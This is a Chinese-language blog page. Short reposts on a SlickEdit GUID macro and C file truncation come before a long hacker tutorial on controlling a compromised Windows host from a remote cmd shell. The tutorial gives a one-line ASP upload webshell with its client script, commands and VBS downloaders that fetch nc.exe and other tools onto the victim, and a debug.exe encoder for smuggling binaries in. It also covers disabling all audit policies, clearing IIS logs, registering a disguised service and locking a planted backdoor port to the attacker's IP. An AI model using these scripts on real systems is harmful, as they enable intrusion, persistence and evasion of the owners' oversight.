• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            tqsheng

            go.....
            隨筆 - 366, 文章 - 18, 評論 - 101, 引用 - 0
            數據加載中……

            It appears that ctrl+k clears the vsapi.dll window

            It appears that ctrl+k clears the vsapi.dll window 

            posted @ 2012-04-24 15:28 tqsheng 閱讀(237) | 評論 (0)編輯 收藏

            GUID generation : Slick-C version

            http://community.slickedit.com/index.php/topic,202.html 


            GUID generation : Slick-C version
            « on: July 31, 2006, 05:20:58 PM »
            The earlier post on uuidgen prompted me to share my own macro implementation that I created for my own use a few months ago. This  macro implementation is self-contained, and doesn't shell out to any other utilties.

            There are 3 commands and 1 function for generating GUIDs:

            insert_guid(_str format = 'B'); (command)
            This generates a new GUID, formatted according to format specifier parameter, and inserts it at the current position in the buffer. Default is Brace Format.
            Use it on the command line like so:
            Code: [Select]
            insert-guid g
            copy_guid(_str format = 'B'); (command)
            Same as above, but places the results on the clipboard. This way you can generate a GUID without having an edit buffer open. On the command line:
            Code: [Select]
            copy-guid b
            gui_insert_guid(); (command)
            Shows a small dialog, allowing you to generate multiple GUIDs, or to insert the same GUID in multiple string formats.

            _str guid_create_string(_str format); (function)
            Works the same as insert_guid, but returns the string. For use in your own macro functions and forms.

            The string formats for GUID output are documented in the source guidgen.e, at the top, in the Javadoc for insert_guid. But to pique
            your interest...
            • 'B' - Brace format: {F3410386-1DBB-4035-A293-440A106A6665}
            • 'G' - General format: F3410386-1DBB-4035-A293-440A106A6665
            • 'P' - Paren format: (F3410386-1DBB-4035-A293-440A106A6665)
            • 'N' - Number format: F34103861DBB4035A293440A106A6665
            • 'C' - Const declaration: static const GUID <<name>> = { 0xf3410386, 0x1dbb, 0x4035, { 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65 } };
            • 'D' - DEFINE_GUID macro: DEFINE_GUID(<<name>>, 0x17342D4B, 0x906F, 0x4706, 0x0F, 0xAC, 0xC5, 0x8E, 0x4D, 0xE7, 0x32, 0x29);
            • 'O' - IMPLEMENT_OLECREATE macro: IMPLEMENT_OLECREATE(<<class>>, <<external_name>>, 0xf3410386, 0x1dbb, 0x4035, 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65);

            In my own testing I have generated over 50,000 GUIDs without a duplicate, so the algorithm looks to be holding up so far.
            But if you'd like to verify the reliability before using in your own code, I have provided some unit testing commands as well.
            Open an empy edit buffer and run the following command line:
            Code: [Select]
            guid-unittest-duplicates 200, where 200 is the number of GUIDs you want to create. This will populate the
            buffer with the requested number of GUIDs in brace format using insert_guid('b');. Any number less than 
            2000 should complete in a reasonable amount of time. 2000 takes around 5 seconds on my Pentium M 2.0 GHz, 1 GB RAM. The results of 
            the unit testing are displayed in the VSAPI message window since it uses the say() funtion. You can run the unit test multiple times in
            the same edit buffer, and it will append the results to the end of the previous test.

            For those of you interested in such things, the GUIDs generated are created (and marked) as version 4. This means
            that all bytes of the GUID were created using a random number, and does not use a MAC address as a basis.

            posted @ 2012-04-24 15:26 tqsheng 閱讀(310) | 評論 (0)編輯 收藏

            c運行時,文件結尾

            windows下似乎可以調用API     SetFileSize
            但是不甚確定,樓主自己查查MSDN吧     呵呵

            可以通過系統提供的API來設置文件結尾,
            在Linux下可以包含fcntl.h,使用int   chsize(int   handle,   long   size);
            在windows下有SetFilePointer     SetEndOfFile,請參閱MSDN
            這些都是文件稍微底層的操作,所以標準C庫函數里面沒有

            #include   <io.h>  

            int   main(void)  
            {  
                  int   handle;  
                  char   buf[11]   =   "0123456789 ";  

                  /*   create   text   file   containing   10   bytes   */  
                  handle   =   open( "DUMMY.FIL ",   O_CREAT);  
                  write(handle,   buf,   strlen(buf));  

                  /*   truncate   the   file   to   5   bytes   in   size   */  
                  chsize(handle,   5);  

                  /*   close   the   file   */  
                  close(handle);  
                  return   0;  
            }  

            下面
            ftruncate   好象是linux上的吧,windows上沒有

            long   pos;
            FILE   *file;
            file=fopen( "filename ", "w+ ");
            pos=ftell(file);       //獲取當前文件指針位置

            ftruncate(fileno(file),pos);   //根據大小截取文件。




            #include   "stdafx.h "
            #include   "iostream "
            #include   "stdio.h "
            #include   "stdlib.h "
            #include   "windows.h "
            #include   "io.h "

            using   namespace   std;

            int   main()
            {
                    FILE*   f   =   fopen( "a.txt ",   "r+ ");

                    char   sz[128];

                    fgets(sz,   128,   f);

                    HANDLE   h   =   (HANDLE)_get_osfhandle(_fileno(f));


                    SetFilePointer(h,   ftell(f),   NULL,   FILE_BEGIN);
                    SetEndOfFile(h);
                    fclose(f);        

                   
                   
                   

                    return   0;
            }



            posted @ 2012-04-13 11:36 tqsheng 閱讀(205) | 評論 (0)編輯 收藏

            羽球

            http://v.youku.com/v_show/id_XMjYyOTk4OTgw.html

            posted @ 2012-04-10 20:46 tqsheng 閱讀(94) | 評論 (0)編輯 收藏

            Do All in Cmd Shell

            Do All in Cmd Shell (一切盡在命令行)

            http://www.isgrey.com
            2004-04-24
            -------------------------------------------------------


            目錄
            1,前言
            2,文件傳輸
            3,系統配置
            4,網絡配置
            5,軟件安裝
            6,Windows腳本
            7,附言


            前言
            Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰。
            本文旨在介紹和總結一些在命令行下控制Windows系統的方法。這些方法都是盡可能地利用系統自帶的工具實現的。


            文件傳輸
            對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統加強了對ipc$的保護,通過ipc$及默認共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結我再提一下:

            1,用Echo命令寫ASP木馬。
            前提當然是目標主機上已經安裝了IIS。
            一般的ASP木馬“體積”較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。
            直接給出echo版:

            @echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

            注意,只有一行,中間沒有回車符。
            生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:

            with wscript
            if .arguments.count<3 then .quit
            url=.arguments(0)&"?s="&.arguments(2)
            fn=.arguments(1)
            end with
            with createobject("adodb.stream")
            .type=1:.open:.loadfromfile fn:s=.read:.close
            end with
            with createobject("microsoft.xmlhttp")
            .open "post",url,false:.send s
            wscript.echo .statustext
            end with

            將其保存為up.vbs。假設目標IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應的命令是:

            cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

            注意,這個命令是在本地命令行中執行的,不要弄錯了。

            另外,通過IIS上傳會留日志,要記得清除哦。

            2,自動下載到網頁緩存中。
            例如:

            start its:http://www.sometips.com/soft/ps.exe

            在遠程shell中執行上面這個命令后,ps.exe已經下載到目標主機的網頁緩存目錄中了。然后:

            cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
            dir /s ps[1].exe

            于是獲得ps.exe的具體位置(每臺主機都不一樣),如:

            C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄

            2004-01-24 14:24 49,152 ps[1].exe
            1 個文件 49,152 字節

            最后:
            copy AB094JIT\ps[1].exe c:\path\ps.exe
            del AB094JIT\ps[1].exe

            補充說明:
            對于以服務為啟動方式的后門所提供的shell,其用戶身份一般是System。此時網頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應的用戶名。
            本方法會啟動一個IE進程,記得要將它殺掉。如果是System身份的shell,不會在本地出現窗口而暴露。
            另外,用ms-its代替its效果完全一樣。

            3,Echo一個腳本下載web資源。
            現成的工具是iGet.vbs。我再給出一個含必要容錯功能的版本。
            仍然是echo版:

            @echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
            @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
            @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
            @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

            舉例——下載ps.exe并保存到c:\path下:

            cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

            注意,這是在遠程shell中執行的。

            4,Echo經過編碼的任何文件,再用腳本+debug還原。
            前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務器,一般的Web資源都是以壓縮文件的形式提供。如果目標主機沒有解壓工具,還是沒轍。那么只有出“殺手锏”了!

            echo命令加重定向操作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新“編碼”為可顯示的字符,才能方便地寫入遠程主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復雜。更麻煩的是,腳本以二進制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構造出相應的數據類型。二進制數據流可以用midb函數轉成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節數據到文件中,懇請賜教。)

            無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:

            fp=wscript.arguments(0)
            fn=right(fp,len(fp)-instrrev(fp,"\"))
            with createobject("adodb.stream")
            .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
            end with
            sll=sl mod 65536:slh=sl\65536
            with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
            .write "@echo str="""
            for i=1 to sl
            bt=ascb(midb(str,i,1))
            if bt<16 then .write "0"
            .write hex(bt)
            if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
            next
            .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
            +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
            +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
            .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
            +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
            +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
            end with

            將其保存為echo.vbs。假設要上傳nc.exe,那么在本地命令行輸入命令:

            cscript echo.vbs nc.exe

            也可以直接把要傳輸的文件的圖標拖放到腳本文件的圖標上。
            稍等一會兒,在當前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內容:

            @echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
            @echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
            @echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
            @echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
            …………
            …………(省略若干行)
            …………
            @echo +"">>debug.vbs
            @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
            @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

            全選 -》 復制 -》 切換到遠程命令行窗口 -》 粘貼。
            如果網速不是很慢的話,整個上傳過程大約需要20秒。

            幾點說明:
            1,大的文件傳輸不穩定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
            2,在傳輸大文件前,可以先傳個小的文件作為“熱身”,讓16位虛擬機ntvdm.exe駐留后臺。所有文件傳完后,為隱蔽起見,應該把ntvdm進程殺掉。
            3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。
            4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對于nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字符為這個數乘以2。
            5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸的數據量(因為壓縮了數據)。如果有時間,我會寫一個更完善的腳本,加強數據壓縮能力,增加數據校驗功能。

            能上傳文件當然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。


            系統配置
            這節包括三方面內容:注冊表、服務和組策略。

            先說注冊表。很多命令行下訪問注冊表的工具都是交互式的,溢出產生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
            好在系統自帶的regedit.exe足夠用了。

            1,讀取注冊表
            先將想查詢的注冊表項導出,再用type查看,比如:

            C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

            C:\>type 1.reg | find "PortNumber"
            "PortNumber"=dword:00000d3d

            C:\>del 1.reg

            所以終端服務的端口是3389(十六進制d3d)

            2,修改/刪除注冊表項
            先echo一個reg文件,然后導入,比如:

            echo Windows Registry Editor Version 5.00 >1.reg
            echo. >>1.reg
            echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
            echo "TelnetPort"=dword:00000913 >>1.reg
            echo "NTLM"=dword:00000001 >>1.reg
            echo. >>1.reg
            regedit /s 1.reg

            將telnet服務端口改為2323(十六進制913),NTLM認證方式為1。

            要刪除一個項,在名字前面加減號,比如:

            [-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

            要刪除一個值,在等號后面用減號,比如:

            [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
            "KAVRun"=-

            3,用inf文件訪問注冊表
            上面對注冊表的三個操作,也可以用下面這個inf文件來實現:

            [Version]
            Signature="$WINDOWS NT$"
            [DefaultInstall]
            AddReg=My_AddReg_Name
            DelReg=My_DelReg_Name
            [My_AddReg_Name]
            HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
            HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
            [My_DelReg_Name]
            HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
            HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

            將它寫入c:\path\reg.inf然后用下面這個命令“安裝”:

            rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

            幾點說明:
            1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。
            0x00010001表示REG_DWORD數據類型,0x00000000或省略該項(保留逗號)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
            2323也可以用0x913代替。
            關于inf文件的詳細信息,可以參考DDK幫助文檔。
            2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。
            128表示給定路徑,該參數其他取值及含義參見MSDN。
            特別注意,最后一個參數,必須是inf文件的全路徑,不要用相對路徑。
            3,inf文件中的項目都是大小寫不敏感的。


            接下來說服務。如果想啟動或停止服務,用net命令就可以。但想增加或刪除服務,需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統沒有自帶(XP和2003自帶SC)。導入注冊表雖然可以,但效果不好,原因后面會提到。還是得靠inf文件出馬。

            增加一個服務:

            [Version]
            Signature="$WINDOWS NT$"
            [DefaultInstall.Services]
            AddService=inetsvr,,My_AddService_Name
            [My_AddService_Name]
            DisplayName=Windows Internet Service
            Description=提供對 Internet 信息服務管理的支持。
            ServiceType=0x10
            StartType=2
            ErrorControl=0
            ServiceBinary=%11%\inetsvr.exe

            保存為inetsvr.inf,然后:

            rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

            這個例子增加一個名為inetsvr的服務(是不是很像系統自帶的服務,呵呵)。

            幾點說明:
            1,最后四項分別是
            服務類型:0x10為獨立進程服務,0x20為共享進程服務(比如svchost);
            啟動類型:0 系統引導時加載,1 OS初始化時加載,2 由SCM(服務控制管理器)自動啟動,3 手動啟動,4 禁用。
            (注意,0和1只能用于驅動程序)
            錯誤控制:0 忽略,1 繼續并警告,2 切換到LastKnownGood的設置,3 藍屏。
            服務程序位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%12%為驅動目錄system32\drivers。其他取值參見DDK。你也可以不用變量,直接使用全路徑。
            這四項是必須要有的。
            2,除例子中的六個項目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹了。
            3,inetsvr后面有兩個逗號,因為中間省略了一個不常用的參數flags。

            刪除一個服務:

            [Version]
            Signature="$WINDOWS NT$"
            [DefaultInstall.Services]
            DelService=inetsvr

            很簡單,不是嗎?

            當然,你也可以通過導入注冊表達到目的。但inf自有其優勢。
            1,導出一個系統自帶服務的注冊表項,你會發現其執行路徑是這樣的:
            "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
            74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
            00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
            可讀性太差。其實它就是%SystemRoot%\system32\tlntsvr.exe,但數據類型是REG_EXPAND_SZ。當手動導入注冊表以增加服務時,這樣定義ImagePath顯然很不方便。如果用REG_SZ代替會有些問題——不能用環境變量了。即只能使用完整路徑。用inf文件完全沒有這個問題,ServiceBinary(即ImagePath)自動成為REG_EXPAND_SZ。
            2,最關鍵的是,和用SC等工具一樣,inf文件的效果是即時起效的,而導入reg后必須重啟才有效。
            3,inf文件會自動為服務的注冊表項添加一個Security子鍵,使它看起來更像系統自帶的服務。

            另外,AddService和DelService以及AddReg、DelReg可以同時且重復使用。即可以同時增加和刪除多個服務和注冊表項。詳細的內容還是請查看DDK。


            最后說說組策略。組策略是建立Windows安全環境的重要手段,尤其是在Windows域環境下。一個出色的系統管理員,應該能熟練地掌握并應用組策略。在窗口界面下訪問組策略用gpedit.msc,命令行下用secedit.exe。

            先看secedit命令語法:
            secedit /analyze
            secedit /configure
            secedit /export
            secedit /validate
            secedit /refreshpolicy
            5個命令的功能分別是分析組策略、配置組策略、導出組策略、驗證模板語法和更新組策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。這些命令具體的語法自己在命令行下查看就知道了。

            與訪問注冊表只需reg文件不同的是,訪問組策略除了要有個模板文件(還是inf),還需要一個安全數據庫文件(sdb)。要修改組策略,必須先將模板導入安全數據庫,再通過應用安全數據庫來刷新組策略。來看個例子:

            假設我要將密碼長度最小值設置為6,并啟用“密碼必須符合復雜性要求”,那么先寫這么一個模板:

            [version]
            signature="$CHICAGO$"
            [System Access]
            MinimumPasswordLength = 6
            PasswordComplexity = 1

            保存為gp.inf,然后導入:

            secedit /configure /db gp.sdb /cfg gp.inf /quiet

            這個命令執行完成后,將在當前目錄產生一個gp.sdb,它是“中間產品”,你可以刪除它。
            /quiet參數表示“安靜模式”,不產生日志。但根據我的試驗,在2000sp4下該參數似乎不起作用,XP下正常。日志總是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便隨后刪除它。比如:

            secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
            del gp.*

            另外,在導入模板前,還可以先分析語法是否正確:

            secedit /validate gp.inf

            那么,如何知道具體的語法呢?當然到MSDN里找啦。也有偷懶的辦法,因為系統自帶了一些安全模板,在%windir%\security\templates目錄下。打開這些模板,基本上包含了常用的安全設置語法,一看就懂。

            再舉個例子——關閉所有的“審核策略”。(它所審核的事件將記錄在事件查看器的“安全性”里)。
            echo版:

            echo [version] >1.inf
            echo signature="$CHICAGO$" >>1.inf
            echo [Event Audit] >>1.inf
            echo AuditSystemEvents=0 >>1.inf
            echo AuditObjectAccess=0 >>1.inf
            echo AuditPrivilegeUse=0 >>1.inf
            echo AuditPolicyChange=0 >>1.inf
            echo AuditAccountManage=0 >>1.inf
            echo AuditProcessTracking=0 >>1.inf
            echo AuditDSAccess=0 >>1.inf
            echo AuditAccountLogon=0 >>1.inf
            echo AuditLogonEvents=0 >>1.inf
            secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
            del 1.*

            也許有人會說:組策略不是保存在注冊表中嗎,為什么不直接修改注冊表?因為不是所有的組策略都保存在注冊表中。比如“審核策略”就不是。你可以用regsnap比較修改該策略前后注冊表的變化。我測試的結果是什么都沒有改變。只有“管理模板”這一部分是完全基于注冊表的。而且,知道了具體位置,用哪個方法都不復雜。

            比如,XP和2003的“本地策略”-》“安全選項”增加了一個“本地帳戶的共享和安全模式”策略。XP下默認的設置是“僅來賓”。這就是為什么用管理員帳號連接XP的ipc$仍然只有Guest權限的原因。可以通過導入reg文件修改它為“經典”:

            echo Windows Registry Editor Version 5.00 >1.reg
            echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
            echo "forceguest"=dword:00000000 >>1.reg
            regedit /s 1.reg
            del 1.reg

            而相應的用inf,應該是:

            echo [version] >1.inf
            echo signature="$CHICAGO$" >>1.inf
            echo [Registry Values] >>1.inf
            echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
            secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
            del 1.*

            關于命令行下讀取組策略的問題。
            系統默認的安全數據庫位于%windir%\security\database\secedit.sdb,將它導出至inf文件:

            secedit /export /cfg gp.inf /log 1.log

            沒有用/db參數指定數據庫就是采用默認的。然后查看gp.inf。

            不過,這樣得到的只是組策略的一部分(即“Windows設置”)。而且,某個策略如果未配置,是不會被導出的。比如“重命名系統管理員帳戶”,只有被定義了才會在inf文件中出現NewAdministratorName="xxx"。對于無法導出的其他的組策略只有通過訪問注冊表來獲得了。

            此辦法在XP和2003下無效——可以導出但內容基本是空的。原因不明。根據官方的資料,XP和2003顯示組策略用RSoP(組策略結果集)。相應的命令行工具是gpresult。但是,它獲得的是在系統啟動時被附加(來自域)的組策略,單機測試結果還是“空”。所以,如果想知道某些組策略是否被設置,只有先寫一個inf,再用secedit /analyze,然后查看日志了。


            網絡配置
            Windows自帶的關于網絡的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,還有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
            這些命令又可分成三類:網絡檢測(如ping)、網絡連接(如telnet)和網絡配置(如netsh)。前面兩種相對簡單,本文只介紹兩個網絡配置工具。

            netsh
            在遠程shell中使用netsh首先要解決一個交互方式的問題。前面說過,很多shell不能再次重定向輸出輸出,所以不能在這種環境下交互地使用ftp等命令行工具。解決的辦法是,一般交互式的工具都允許使用腳本(或者叫應答文件)。比如ftp -s:filename。netsh也是這樣:netsh -f filename。

            netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服務器,TCP/IP協議,IPX協議,路由等。我們不是管理員,一般沒必要了解這么多,只需用netsh來了解目標主機的網絡配置信息。

            1,TCP/IP配置

            echo interface ip >s
            echo show config >>s
            netsh -f s
            del s

            由此你可以了解該主機有多個網卡和IP,是否是動態分配IP(DHCP),內網IP是多少(如果有的話)。
            這個命令和ipconfig /all差不多。

            注意,以下命令需要目標主機啟動remoteaccess服務。如果它被禁用,請先通過導入注冊表解禁,然后
            net start remoteaccess

            2,ARP

            echo interface ip >s
            echo show ipnet >>s
            netsh -f s
            del s

            這個比arp -a命令多一點信息。

            3,TCP/UDP連接

            echo interface ip >s
            echo show tcpconn >>s
            echo show udpconn >>s
            netsh -f s
            del s

            這組命令和netstat -an一樣。

            4,網卡信息
            如果netsh命令都有其他命令可代替,那它還有什么存在的必要呢?下面這個就找不到代替的了。

            echo interface ip >s
            echo show interface >>s
            netsh -f s
            del s

            netsh的其他功能,比如修改IP,一般沒有必要使用(萬一改了IP后連不上,就“叫天不應叫地不靈”了),所以全部略過。

            IPSec
            首先需要指出的是,IPSec和TCP/IP篩選是不同的東西,大家不要混淆了。TCP/IP篩選的功能十分有限,遠不如IPSec靈活和強大。下面就說說如何在命令行下控制IPSec。

            XP系統用ipseccmd,2000下用ipsecpol。遺憾的是,它們都不是系統自帶的。ipseccmd在xp系統安裝盤的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol還必須帶上另外兩個文件:ipsecutil.dll和text2pol.dll。三個文件一共119KB。

            IPSec可以通過組策略來控制,但我找遍MSDN,也沒有找到相應的安全模板的語法。已經配置好的IPSec策略也不能被導出為模板。所以,組策略這條路走不通。IPSec的設置保存在注冊表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理論上可以通過修改注冊表來配置IPSec。但很多信息以二進制形式存放,讀取和修改都很困難。相比之下,上傳命令行工具更方便。

            關于ipsecpol和ipseccmd的資料,網上可以找到很多,因此本文就不細說了,只是列舉一些實用的例子。
            在設置IPSec策略方面,ipseccmd命令的語法和ipsecpol幾乎完全一樣,所以只以ipsecpol為例:

            1,防御rpc-dcom攻擊

            ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

            這條命令關閉了本地主機的TCP135,139,445和udp135,137,138,445端口。
            具體含義如下:
            -p myfirewall 指定策略名為myfirewall
            -r rpc-dcom 指定規則名為rpc-dcom
            -f …… 建立7個篩選器。*表示任何地址(源);0表示本機地址(目標);+表示鏡像(雙向)篩選。詳細語法見ipsecpol -?
            -n BLOCK 指定篩選操作是“阻塞”。注意,BLOCK必須是大寫。
            -w reg 將配置寫入注冊表,重啟后仍有效。
            -x 立刻激活該策略。

            2,防止被ping

            ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

            如果名為myfirewall的策略已存在,則antiping規則將添加至其中。
            注意,該規則同時也阻止了該主機ping別人。

            3,對后門進行IP限制
            假設你在某主機上安裝了DameWare Mini Remote Control。為了保護它不被別人暴破密碼或溢出,應該限制對其服務端口6129的訪問。

            ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
            ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

            這樣就只有123.45.67.89可以訪問該主機的6129端口了。
            如果你是動態IP,應該根據IP分配的范圍設置規則。比如:

            ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
            ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

            這樣就允許123.45.67.1至123.45.67.254的IP訪問6129端口。

            在寫規則的時候,應該特別小心,不要把自己也阻塞了。如果你不確定某個規則的效果是否和預想的一樣,可以先用計劃任務“留下后路”。例如:

            c:\>net start schedule
            Task Scheduler 服務正在啟動 ..
            Task Scheduler 服務已經啟動成功。

            c:\>time /t
            12:34

            c:\>at 12:39 ipsecpol -p myfw -y -w reg
            新加了一項作業,其作業 ID = 1

            然后,你有5分鐘時間設置一個myfw策略并測試它。5分鐘后計劃任務將停止該策略。
            如果測試結果不理想,就刪除該策略。

            c:\>ipsecpol -p myfw -o -w reg

            注意,刪除策略前必須先確保它已停止。不停止它的話,即使刪除也會在一段時間內繼續生效。持續時間取決于策略的刷新時間,默認是180分鐘。

            如果測試通過,那么就啟用它。

            c:\>ipsecpol -p myfw -x -w reg

            最后說一下查看IPSec策略的辦法。
            對于XP很簡單,一條命令搞定——ipseccmd show filters
            而ipsecpol沒有查詢的功能。需要再用一個命令行工具netdiag。它位于2000系統安裝盤的SUPPORT\TOOLS\SUPPORT.CAB中。(已經上傳了三個文件,也就不在乎多一個了。^_^)

            netdiag需要RemoteRegistry服務的支持。所以先啟動該服務:

            net start remoteregistry

            不啟動RemoteRegistry就會得到一個錯誤:

            [FATAL] Failed to get system information of this machine.

            netdiag這個工具功能十分強大,與網絡有關的信息都可以獲取!不過,輸出的信息有時過于詳細,超過命令行控制臺cmd.exe的輸出緩存,而不是每個遠程cmd shell都可以用more命令來分頁的。

            查看ipsec策略的命令是:
            netdiag /debug /test:ipsec

            然后是一長串輸出信息。IPSec策略位于最后。


            軟件安裝
            一個軟件/工具的安裝過程,一般來說只是做兩件事:拷貝文件到特定目錄和修改注冊表。只要搞清楚具體的內容,那么就可以自己在命令行下實現了。(不考慮安裝后需要注冊激活等情況)

            WinPcap是個很常用的工具,但必須在窗口界面下安裝。在網上也可以找到不用GUI的版本(但還是有版權頁),其實我們完全可以自己做一個。

            以WinPcap 3.0a 為例。通過比較安裝前后的文件系統和注冊表快照,很容易了解整個安裝過程。
